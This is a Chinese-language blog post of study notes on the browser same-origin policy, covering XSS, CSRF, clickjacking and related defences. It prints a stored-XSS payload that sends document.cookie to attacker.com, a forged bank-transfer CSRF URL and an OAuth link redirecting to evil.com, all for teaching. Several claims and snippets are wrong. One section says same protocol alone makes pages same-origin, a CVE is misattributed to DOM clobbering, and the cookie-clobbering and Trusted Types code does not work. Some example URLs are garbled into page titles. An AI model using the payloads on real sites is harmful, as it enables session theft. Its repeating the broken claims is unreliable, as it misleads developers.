《白帽子讲 Web 安全》之深入同源策略(万字详解)
目录
引言
一、同源策略基础认知
(一)定义
(二)作用
(三)作用机制详解
二、同源策略的分类
(一)域名同源策略
(二)协议同源策略
(三)端口同源策略
三、与同源策略相关的攻击
(一)跨站脚本攻击(XSS)
(二)跨站点请求伪造(CSRF)
(三)点击劫持(Clickjacking)
四、基于同源策略的防御措施
(一)针对 XSS 攻击
(二)针对 CSRF 攻击
(三)针对点击劫持
五、新型攻击手法剖析
(一)XSS 进阶案例 - DOM Clobbering
(二)CSRF 的 OAuth2 滥用
六、前沿防御体系构建
(一)现代安全头部组合
(二)浏览器新特性应用
七、开发者实践指南
(一)架构设计原则
(二)自动化安全检测
八、未来安全趋势展望
(一)WebAssembly 安全边界
(二)隐私计算与同源策略
九:深入同源策略
(一)同源策略的历史背景
(二)同源策略的技术实现
(三)同源策略的局限性
十、同源策略的最佳实践
(一)严格实施同源策略
(二)加强输入验证和输出编码
(三)使用安全的跨域通信机制
十一、同源策略的未来发展
(一)同源策略的演进
(二)同源策略与隐私保护
学习总结
引言
在当今互联网时代,Web 安全已成为一个至关重要的话题。随着网络攻击手段的不断演进,保护用户数据和 Web 应用的安全性变得愈发重要。最近,我研读了吴翰清老师的《白帽子讲 Web 安全》,特别是其中“深入同源策略”这一章节,深感其内容的丰富与深刻。同源策略作为 Web 安全的基石,其重要性不言而喻。本文旨在分享我在学习这一章节过程中的心得与总结,结合实战案例与最新技术演进,探讨同源策略的基础认知、现代挑战、新型攻击手法、前沿防御体系构建以及开发者实践指南。
一、同源策略基础认知
(一)定义
同源策略是由 Netscape 提出的一个著名的安全策略,现在所有支持 JavaScript 的浏览器都会使用这个策略。所谓同源,要求域名、协议、端口都相同。
例如,当浏览器的一个 tab 页打开百度页面执行脚本时,会检查脚本所属页面是否同源,只有同源脚本才会被执行。若脚本来源非同源,在请求数据时,浏览器会在控制台报异常,拒绝访问。这就像是一个社区,只有本社区(同源)的成员才能自由进出各个设施(执行脚本、访问数据等),外来人员(非同源)则被拒之门外。
具体例子:假如我们在浏览器中打开了 https://www.taobao.com
页面,该页面上有一段 JavaScript 脚本要加载并执行。浏览器会检查这个脚本的来源,如果脚本来自 https://www.taobao.com
下的某个资源,那么它就是同源的,可以正常执行;但如果脚本来自 http://example.com
,由于域名、协议可能都不同,就会被浏览器拒绝执行。
同源策略经历了从 Netscape Navigator 2.0(1995 年)的原始实现到现代浏览器的持续强化过程。以 Chrome 的 Site Isolation 架构为例,2018 年推出的该功能将每个跨源站点隔离到独立进程,有效防范 Spectre 漏洞攻击,这标志着同源策略从单纯的脚本隔离发展到进程级隔离的重大升级。
(二)作用
保护用户数据安全:限制来自不同源的文件或脚本对当前文件读取或设置某些属性,防止浏览器页面行为混乱,不同源对象无法互相干扰。比如,a.com通过代码加载了b.com上的 b.js,由于 b.js 运行在a.com页面中,其源就是a.com而非b.com,并且浏览器会限制其 js 权限,使其不能随意读或写返回内容。这就像是在一个公司的不同部门,每个部门都有自己的权限范围,其他部门的人员不能随意进入并查看或修改本部门的文件资料,从而保证了数据的安全性和独立性。
防止敏感数据泄露:若 XMLHttpRequest
能跨域访问资源,会导致敏感数据泄露。同源策略通过限制其跨域访问,保障数据安全。
例如,银行网站的页面脚本不能随意访问电商网站的数据,防止用户银行信息被恶意获取。想象一下,如果银行网站的脚本可以随意访问电商网站的数据,那么黑客就有可能利用这个漏洞,获取用户在电商网站上的个人信息,再结合其他手段,就可能窃取用户的银行资金,后果不堪设想。
假设没有同源策略的限制,一个恶意网站就可以通过编写脚本,利用 XMLHttpRequest 对象随意访问其他网站的敏感数据。比如,它可以尝试访问银行网站,获取用户的账户余额、交易记录等信息,或者访问医疗网站,获取用户的健康信息。这些敏感数据一旦泄露,将给用户带来极大的损失。而同源策略就像一道坚固的城墙,阻止了这种跨域的数据访问,有效保护了用户的敏感数据。
(三)作用机制详解
-
DOM 访问限制:非同源文档无法通过 DOM API 互相访问。例如:
// 父窗口试图访问 iframe 内容 let iframe = document.getElementById('external-frame'); try { console.log(iframe.contentWindow.document.body.innerHTML); } catch (e) { console.error('同源策略拦截:', e); // 触发 SecurityError }
-
网络请求管控:XMLHttpRequest 遵循同源策略,但现代 CORS 机制允许可控的跨域访问。例如医疗机构门户网站 portal.health.com 通过预检请求(Preflight)向 api.health.com 获取患者数据,需在响应头包含
Access-Control-Allow-Origin: portal.health.com
。 -
存储隔离机制:不同源的 LocalStorage、IndexedDB 完全隔离。如用户同时登录 mail.example.com 和 drive.example.com,两个站点的本地存储互不可见。
二、同源策略的分类
(一)域名同源策略
这是最基本形式,依据两个网页的域名是否相同判断是否同源。若协议、域名和端口号完全相同,就属于同源。例如,www.example.com和www.example.com下的页面是同源的,而www.example.com和m.example.com,即使同属一个域名体系,但子域名不同,也被视为不同源。
在实际的互联网应用中,很多大型网站会有不同的子域名来提供不同的服务,比如 news.example.com
可能是新闻服务,shop.example.com
可能是购物服务,虽然它们都属于 example.com
这个大的域名体系,但由于子域名不同,在同源策略的判断中是不同源的。
(二)协议同源策略
将协议作为判断依据。即使域名和端口不同,只要协议相同,就视为同源。比如Example Domain和Example Domain是同源的,因为都使用 HTTP 协议。但Example Domain和Example Domain就不是同源,因为协议不同,这体现了协议在同源判断中的重要性。
协议的不同往往意味着数据传输的安全性和方式不同,HTTP 是明文传输,而 HTTPS 是加密传输,所以在同源策略中对它们进行区分是非常必要的。
以常见的网站为例,淘宝的 HTTP 版本(淘宝)和 HTTPS 版本(淘宝)虽然域名相同,但由于协议不同,它们被视为不同源。这是因为 HTTP 协议和 HTTPS 协议在安全性上有很大差异,HTTPS 协议通过加密传输数据,更加安全。如果不区分协议,恶意网站可能通过 HTTP 协议访问原本应该通过 HTTPS 协议访问的敏感页面,从而获取用户数据。所以,协议同源策略能够确保不同安全级别的协议之间的数据隔离,保障用户的信息安全。
(三)端口同源策略
以端口号作为判断标准。即便域名和协议相同,端口号不同也被视为不同源。例如,Example Domain和http://example.com:8080,虽然域名和协议一致,但端口不同,就不属于同源。在实际网络应用中,不同端口往往对应不同的服务,比如 80 端口通常用于 HTTP 服务,443 端口用于 HTTPS 服务,8080 端口可能用于一些测试环境的服务。通过端口同源策略进一步保障了服务间的安全隔离,防止不同服务之间的恶意干扰。
在企业内部网络中,经常会有不同的服务运行在不同的端口上。比如,邮件服务可能运行在 25 端口,Web 服务运行在 80 端口(HTTP)或 443 端口(HTTPS)。如果没有端口同源策略,一个恶意脚本在访问 Web 服务(80 端口)时,可能会尝试访问邮件服务(25 端口),获取企业内部的邮件信息。而端口同源策略阻止了这种跨端口的访问,确保每个服务都在自己的安全边界内运行,互不干扰,保障了企业网络服务的安全性。
三、与同源策略相关的攻击
(一)跨站脚本攻击(XSS)
- 原理:用户在网页上传一段 JavaScript 代码然后执行。分为反射性 XSS(把用户数据反射给浏览器)和存储型 XSS(把用户数据存储在服务器端,威胁更大)。攻击者可通过构造 GET 和 POST 请求进行攻击,劫持 cookie。比如在一些留言板功能中,如果没有对用户输入进行严格过滤,攻击者输入恶意 JavaScript 代码,其他用户访问该页面时,代码就会被执行,可能导致用户信息泄露。
- 例如,一个论坛的留言板允许用户输入内容并显示,如果攻击者在留言框中输入
<script>document.location='http://attacker.com?cookie='+document.cookie</script>
,当其他用户访问该留言页面时,这段恶意脚本就会被执行,将用户的 cookie 信息发送到攻击者的服务器,攻击者就可以利用这个 cookie 信息冒充用户进行操作。 - 与同源策略的关系:XSS 攻击试图绕过同源策略的限制,恶意脚本本不应在非同源页面执行,但由于网站存在漏洞,使得恶意脚本得以注入并执行,获取用户敏感信息或进行其他恶意操作。正常情况下,同源策略会阻止非同源的脚本执行,但 XSS 攻击利用了网站的漏洞,使得恶意脚本可以在同源的页面中执行,从而绕过了同源策略的保护。
(二)跨站点请求伪造(CSRF)
- 原理:攻击者需要知道重要操作的参数,设计标签伪造恶意链接操作(URL 所有参数与参数值)。若用户点击,就会以用户身份执行操作。
- 例如,用户在已登录银行网站的情况下,访问了一个包含恶意链接的页面,该链接可能会伪造转账操作,如果用户不慎点击,资金就可能被转走。假设银行网站的转账操作 URL 是
http://bank.com/transfer?to=123456&amount=1000
,攻击者可以在一个恶意页面中创建一个隐藏的链接或者按钮,链接指向这个转账 URL,当用户在已登录银行网站的状态下访问这个恶意页面并点击了这个隐藏的链接或按钮,就会以用户的身份执行转账操作。 - 与同源策略的关系:正常情况下,同源策略可防止跨站请求携带浏览器生成的身份凭证(如 cookie)。但 CSRF 攻击利用用户已登录的状态,通过诱导用户点击恶意链接,让浏览器在不知情的情况下发送带有用户身份凭证的请求到目标网站,绕过了同源策略的部分保护机制。同源策略原本是为了防止不同源的请求携带用户的身份凭证,但 CSRF 攻击利用了用户在目标网站已登录的状态,使得请求看起来像是同源的,从而绕过了这一保护。
(三)点击劫持(Clickjacking)
- 原理:攻击者在网页上布设透明的 iframe,诱导用户点击,导致恶意代码被执行。常见的有 flash 点击劫持、图片攻击覆盖等。比如在一个看似普通的图片页面,背后可能隐藏着透明的 iframe,用户点击图片时,实际触发了 iframe 中的恶意链接。
- 与同源策略的关系:点击劫持通过巧妙的页面布局和用户诱导,试图突破同源策略对页面交互操作的限制,让用户在不知情的情况下执行了来自非同源页面的恶意操作。同源策略规定了不同源的页面之间的交互限制,但点击劫持利用了用户的视觉错觉和操作习惯,绕过了这些限制,使得用户在不知情的情况下执行了非同源页面的操作。
四、基于同源策略的防御措施
(一)针对 XSS 攻击
- Httponly 属性:浏览器禁止 JavaScript 访问带有 httponly 属性的 cookie,大部分浏览器目前都支持此功能,有效防止 cookie 被 XSS 攻击劫持。当我们在设置 cookie 时,添加
httponly
属性,就可以确保 JavaScript 无法访问这个 cookie,即使页面存在 XSS 漏洞,攻击者也无法获取到这个 cookie 信息,从而保障了用户的身份安全。 -
例如在服务器端设置 cookie 时使用如下代码(以 PHP 为例):
setcookie('user_id', $user_id, time() + 3600, '/', '', false, true);
其中最后一个参数true表示设置了 httponly 属性。这样,在用户浏览器中,JavaScript 脚本就无法访问这个 cookie。即使页面中存在 XSS 漏洞,恶意脚本也无法获取到带有 httponly 属性的 cookie 信息,从而防止了攻击者通过劫持 cookie 来获取用户身份信息,进行会话劫持等恶意操作。
- 输入输出检查:对输入进行严格检查,过滤特殊符号;对输出进行编码,转化一些字符,避免恶意代码注入和执行。例如,当用户在表单中输入内容时,服务器端对输入的内容进行检查,过滤掉可能用于注入恶意脚本的特殊符号,如
<
、>
等;在将内容输出到页面时,对这些特殊字符进行编码,将<
编码为<
,>
编码为>
,这样即使有恶意代码输入,也不会被浏览器解析执行。 -
在输入检查方面,以一个简单的 PHP 表单接收用户输入为例,假设接收用户评论内容:
$comment = $_POST['comment']; $comment = strip_tags($comment); // 去除HTML标签 $comment = htmlspecialchars($comment, ENT_QUOTES, 'UTF - 8'); // 对特殊字符进行转义
通过strip_tags函数去除用户输入中的 HTML 标签,防止用户输入恶意的 HTML 标签,如<script>标签。再通过htmlspecialchars函数对特殊字符进行转义,将<转化为<,>转化为>等,这样即使用户输入了恶意代码,在页面输出时也不会被浏览器当作代码执行。在输出编码方面,无论使用何种编程语言,都要确保将从数据库或其他数据源读取的数据进行适当的编码后再输出到页面中,避免恶意代码被执行。
(二)针对 CSRF 攻击
- 验证码:用户操作时需要输入验证码,增加攻击者伪造请求的难度。验证码通常是一些随机生成的字符或图片,需要用户手动输入,攻击者很难自动识别和输入正确的验证码,从而增加了伪造请求的难度。
- Referer - Check:检查请求是否来自同样的 “源”,防止跨站请求伪造。服务器在处理请求时,会检查请求的
Referer
头信息,判断请求是否来自同源的页面,如果不是,则拒绝处理该请求,从而防止 CSRF 攻击。 - 例如,在一个 Web 应用中,使用 Node.js 的 Express 框架可以这样实现: app.post('/transfer', function(req, res) { var referer = req.get('Referer'); if (referer && referer.startsWith('http://bank.example.com')) { // 是来自本网站的请求,执行转账操作 // 转账逻辑代码 } else { res.status(403).send('Forbidden'); } });
-
通过检查 Referer 字段是否以银行网站的域名开头,判断请求是否来自同源。如果不是,则拒绝请求,返回 403 Forbidden 错误。这样可以有效防止来自非同源网站的恶意请求,保护用户的账户安全。
-
Token 机制:在 url 中加载随机且不可预测的 Token,使得攻击者无法伪造出正确的 Token,从而无法发起有效攻击。当用户访问页面时,服务器会生成一个随机的 Token 并将其包含在页面的表单或链接中,当用户提交请求时,服务器会验证这个 Token 的有效性,如果 Token 不正确,则拒绝处理该请求。
-
例如:http://bank.example.com/transfer?to=receiver_account&amount=5000&token=unique_token。在服务器端接收到转账请求时,会验证 URL 中的 Token 是否与用户会话中的 Token 一致。由于 Token 是随机生成且不可预测的,攻击者无法知道用户的 Token 值,也就无法构造出包含正确 Token 的恶意链接,从而防止了 CSRF 攻击。
(三)针对点击劫持
- 禁止跨域的 iframe:通过编写 JavaScript 代码防止 iframe 嵌套,限制恶意 iframe 的使用。
if (top.location != self.location) { top.location = self.location; }
这段代码的作用是如果当前页面是在一个 iframe 中加载的,就将页面跳转到自身的顶级页面,从而防止页面被嵌套在恶意的 iframe 中。 2. X - frame - options:使用 http 头
X - frame - options
,明确告知浏览器是否允许页面被嵌入到 iframe 中,有效防范点击劫持。X - frame - options
有三个可选值:DENY
表示页面不允许被任何页面嵌入;SAMEORIGIN
表示页面只允许被同源的页面嵌入;ALLOW - FROM uri
表示页面只允许被指定的 uri 嵌入。通过设置合适的X - frame - options
值,可以有效防止点击劫持攻击。 - X - frame - options:使用 http 头X - frame - options,明确告知浏览器是否允许页面被嵌入到 iframe 中,有效防范点击劫持。
五、新型攻击手法剖析
(一)XSS 进阶案例 - DOM Clobbering
2022 年 Google V8 引擎漏洞(CVE-2022-1364):攻击者通过恶意 DOM 元素覆盖 JavaScript 对象,绕过同源策略执行代码。如:
<form id="cookie">
<input name="value" value="恶意内容">
</form>
<script>
// 通过 DOM 污染 document.cookie
console.log(document.cookie.value); // 输出"恶意内容"
</script>
(二)CSRF 的 OAuth2 滥用
某社交平台开放 API 曾存在 CSRF 漏洞:攻击者构造恶意链接 https://api.social.com/oauth/authorize?client_id=attacker&redirect_uri=evil.com
,诱导已登录用户点击,导致 OAuth 令牌泄露。防御措施包括强制使用 state 参数,校验 redirect_uri 白名单。
六、前沿防御体系构建
(一)现代安全头部组合
推荐配置示例:
Content-Security-Policy: default-src 'self'; script-src 'sha256-xxxx';
Cross-Origin-Embedder-Policy: require-corp;
Cross-Origin-Opener-Policy: same-origin;
X-Frame-Options: DENY;
(二)浏览器新特性应用
-
Trusted Types API:从根本上防御 DOM XSS
// 策略配置 trustedTypes.createPolicy('escapePolicy', { createHTML: (input) => input.replace(/</g, '<') }); // 安全使用 document.body.innerHTML = trustedTypes.escapePolicy.createHTML(userInput);
-
SameSite Cookie 的 Lax 模式演进:Chrome 80+ 默认将未声明 SameSite 的 Cookie 视为 Lax,有效防御 CSRF。
七、开发者实践指南
(一)架构设计原则
-
实施微前端时的安全策略:
// 使用 Sandboxed iframe <iframe sandbox="allow-scripts allow-same-origin" src="https://module.example.com"></iframe>
-
跨域通信最佳实践:
// 使用 postMessage+Origin 验证 window.addEventListener('message', (event) => { if (event.origin !== 'https://trusted.example.com') return; // 处理消息 });
(二)自动化安全检测
-
使用 OWASP ZAP 进行 CORS 配置扫描
-
集成 Snyk 检测第三方依赖中的同源策略风险
八、未来安全趋势展望
(一)WebAssembly 安全边界
随着 Wasm 的普及,需关注跨模块内存访问的隔离机制,防范通过共享内存绕过同源策略的新型攻击。
(二)隐私计算与同源策略
在联邦学习等场景中,如何平衡数据协同计算与源隔离需求,可能催生新的安全模型(如差分隐私沙箱)。
九:深入同源策略
(一)同源策略的历史背景
同源策略的提出源于早期互联网的安全需求。在 Web 发展的初期,浏览器功能相对简单,但随着 JavaScript 的引入,网页的动态性和交互性大大增强,同时也带来了新的安全风险。Netscape 公司在 1995 年首次提出了同源策略,旨在防止恶意脚本访问其他站点的数据,保护用户隐私和安全。
(二)同源策略的技术实现
同源策略的实现主要依赖于浏览器的安全机制。现代浏览器通过多种技术手段来确保同源策略的有效执行,包括:
-
沙箱机制:浏览器将不同源的页面隔离在不同的沙箱中,防止它们互相访问和干扰。
-
CORS(跨域资源共享):CORS 是一种允许服务器声明哪些外部源可以访问其资源的机制。通过 CORS,服务器可以控制跨域请求的权限,从而在保证安全的前提下实现跨域资源共享。
-
Content Security Policy(CSP):CSP 是一种通过 HTTP 头来声明哪些资源可以被加载和执行的机制。通过 CSP,网站可以防止恶意脚本的注入和执行,增强同源策略的安全性。
(三)同源策略的局限性
尽管同源策略在保护 Web 安全方面发挥了重要作用,但它也存在一些局限性:
-
跨域资源共享的复杂性:随着 Web 应用的发展,跨域资源共享的需求日益增加,CORS 机制的引入虽然解决了部分问题,但也增加了开发和维护的复杂性。
-
子域名和协议的安全隐患:同源策略对子域名和协议的严格限制,可能导致一些合法的跨域请求被拒绝,影响用户体验。同时,攻击者也可能利用子域名和协议的漏洞进行攻击。
-
新兴技术的挑战:随着 WebAssembly、Service Worker 等新兴技术的普及,同源策略面临着新的挑战。这些技术可能绕过传统的同源策略限制,带来新的安全风险。
十、同源策略的最佳实践
(一)严格实施同源策略
在开发和部署 Web 应用时,应严格实施同源策略,确保只有同源的脚本和资源能够访问敏感数据和功能。具体措施包括:
-
限制跨域请求:通过 CORS 机制,严格控制哪些外部源可以访问本站点的资源,避免不必要的跨域请求。
-
使用安全的 Cookie 属性:为 Cookie 设置
HttpOnly
和Secure
属性,防止恶意脚本窃取 Cookie 数据。 -
启用 CSP:通过 CSP 头,限制页面中可以加载和执行的资源,防止恶意脚本的注入和执行。
(二)加强输入验证和输出编码
输入验证和输出编码是防御 XSS 攻击的重要手段。具体措施包括:
-
输入验证:对所有用户输入进行严格的验证,过滤掉潜在的恶意字符和脚本。
-
输出编码:在将用户输入输出到页面时,进行适当的编码,防止恶意脚本的执行。
(三)使用安全的跨域通信机制
在需要跨域通信的场景中,应使用安全的跨域通信机制,如 postMessage
API。具体措施包括:
-
验证消息来源:在使用
postMessage
进行跨域通信时,应验证消息的来源,确保消息来自可信的源。 -
限制消息内容:在接收和处理跨域消息时,应对消息内容进行严格的验证和过滤,防止恶意数据的注入。
十一、同源策略的未来发展
(一)同源策略的演进
随着 Web 技术的不断发展,同源策略也在不断演进。未来,同源策略可能会在以下几个方面得到加强和改进:
-
更细粒度的访问控制:未来的同源策略可能会提供更细粒度的访问控制,允许开发者更灵活地控制跨域资源的访问权限。
-
更强的隔离机制:随着 WebAssembly 和 Service Worker 等技术的普及,未来的浏览器可能会引入更强的隔离机制,防止这些技术绕过同源策略的限制。
-
更好的开发者工具:未来的浏览器可能会提供更好的开发者工具,帮助开发者更方便地调试和优化同源策略的配置。
(二)同源策略与隐私保护
随着用户隐私保护意识的增强,同源策略在隐私保护方面的作用也日益重要。未来,同源策略可能会与隐私保护技术(如差分隐私、联邦学习等)结合,提供更强大的隐私保护能力。
学习总结
通过学习这一章节,我深刻认识到同源策略在 Web 安全中的核心地位。它就像一道坚固的防线,守护着用户数据和 Web 应用的安全。然而,各种攻击手段不断试图绕过它,这也促使开发者不断完善防御措施。在实际开发中,我们必须时刻牢记同源策略相关知识,从输入验证、输出编码、合理使用安全头、防范各类攻击等多方面入手,构建安全可靠的 Web 应用。同时,随着 Web 技术的不断发展,新的安全挑战也会不断涌现,我们需要持续学习,紧跟安全技术发展步伐,为用户提供更安全的网络环境。
同源策略作为 Web 安全的基石,在保护用户数据和 Web 应用安全方面发挥了重要作用。然而,随着 Web 技术的不断发展,同源策略也面临着新的挑战和机遇。作为开发者,我们应深入理解同源策略的原理和机制,严格实施同源策略的最佳实践,不断学习和掌握新的安全技术,为用户提供更安全、更可靠的 Web 应用。
希望本文的学习心得和总结能对大家理解和应用同源策略有所帮助,也欢迎大家一起交流探讨,共同进步。
喜欢的点点赞和关注,一起进步